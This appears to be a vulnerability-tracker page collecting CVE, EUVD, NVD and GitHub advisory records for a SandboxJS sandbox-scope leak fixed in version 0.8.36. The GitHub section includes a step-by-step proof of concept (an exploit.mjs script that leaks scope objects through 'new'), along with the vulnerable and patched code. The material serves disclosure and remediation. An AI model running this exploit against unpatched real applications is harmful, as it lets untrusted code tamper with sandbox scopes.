SandboxJS has a Sandbox Escape via Prop Object Leak in New Handler
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-34217
PublishedSandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.
- Source published
- 6 Apr 2026 15:12:52 UTC
- Source modified
- 6 Apr 2026 15:40:46 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-19301
PublishedSandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 6, 2026, 3:12:52 PM
dateUpdated: Apr 6, 2026, 3:40:46 PM
- Source published
- Apr 6, 2026, 3:12:52 PM (timezone not stated)
- Source modified
- Apr 6, 2026, 3:40:46 PM (timezone not stated)
- Observed here
- 1 Nov 2026 06:05:52 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-34217
PublishedSandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-668
Original publisher date fields
published: 2026-04-06T16:16:34.890
lastModified: 2026-10-26T22:10:00.163
1 source CPE criteria · context only
- cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 6 Apr 2026 16:16:34 UTC
- Source modified
- 26 Oct 2026 22:10:00 UTC
- Observed here
- 27 Oct 2026 09:03:00 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
osv · GHSA-hg73-4w7g-q96w
Published## Description A scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. ## Vulnerable Code Location ### Primary: The `New` Operator Handler **File**: `src/executor.ts`, lines 1275–1280 ```typescript addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized }, ); ``` This handler has **two missing sanitization steps**: 1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values. 2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization. ### Comparison: The `Call` Handler (Correctly Implemented) **File**: `src/executor.ts`, lines 493–605 ```typescript addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => { // ... const vals = b .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return [item]; } }) .flat() .map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized // ... let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals)); ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized sanitizeArray(ret, context); // ← Return IS sanitized done(undefined, ret); }); ``` The `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither. --- ## Why This Is Vulnerable ### Step 1: What is a Prop Object? The sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has: ```typescript class Prop { context: any; // The object the property belongs to prop: PropertyKey; // The property name isConst: boolean; isGlobal: boolean; isVariable: boolean; } ``` When sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object. ### Step 2: What is in `scope.allVars`? At the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing: ```javascript { globalThis: <real globalThis>, Function: <real Function constructor>, eval: <real eval function>, console: { log: console.log, ... }, Array, Object, Map, Set, Promise, Date, Error, RegExp, isNaN, parseInt, parseFloat, ... } ``` These are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map. ### Step 3: How the Prop Leaks Through `new` When sandboxed code executes `new Constructor(someVariable)`: 1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')` 2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call) 3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function 4. Inside the constructor, the `Prop` is received as a named parameter 5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals 6. The constructor stores this reference: `this.scope = arg.context` 7. The constructed object is returned without sanitization ## Proof of Concept ### Step-by-Step Reproduction (Terminal) #### Step 1: Create a new directory and initialize ```bash mkdir sandboxjs-poc cd sandboxjs-poc npm init -y ``` #### Step 2: Set module type to ESM ```bash node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))" ``` #### Step 3: Install the vulnerable package ```bash npm install @nyariv/[email protected] ``` #### Step 4: Create the minimal exploit ```bash cat > exploit.mjs << 'EOF' import pkg from '@nyariv/sandboxjs'; const Sandbox = pkg.default || pkg; const sandbox = new Sandbox(); const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run(); console.log(scope); EOF ``` #### Step 5: Run it ```bash node exploit.mjs ``` ## Impact An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope The attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern. --- ## Suggested Remediation ### Fix 1: Sanitize New Handler Arguments (Critical) Add `valueOrProp()` to constructor arguments, matching the Call handler's behavior: ```typescript // src/executor.ts line 1275-1280 addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } const sanitizedArgs = b.map((item) => valueOrProp(item, context)); const result = new a(...sanitizedArgs); const sanitized = getGlobalProp(result, context) || result; sanitizeArray(sanitized, context); done(undefined, sanitized); }, ); ``` ### Fix 2: Sanitize Sandbox Return Values (Defense in Depth) Add deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced. ### Fix 3: Freeze the Globals Object (Defense in Depth) Freeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak: ```typescript Object.freeze(options.globals); ```
- Source published
- 3 Apr 2026 21:45:38 UTC
- Source modified
- 6 Apr 2026 23:34:35 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE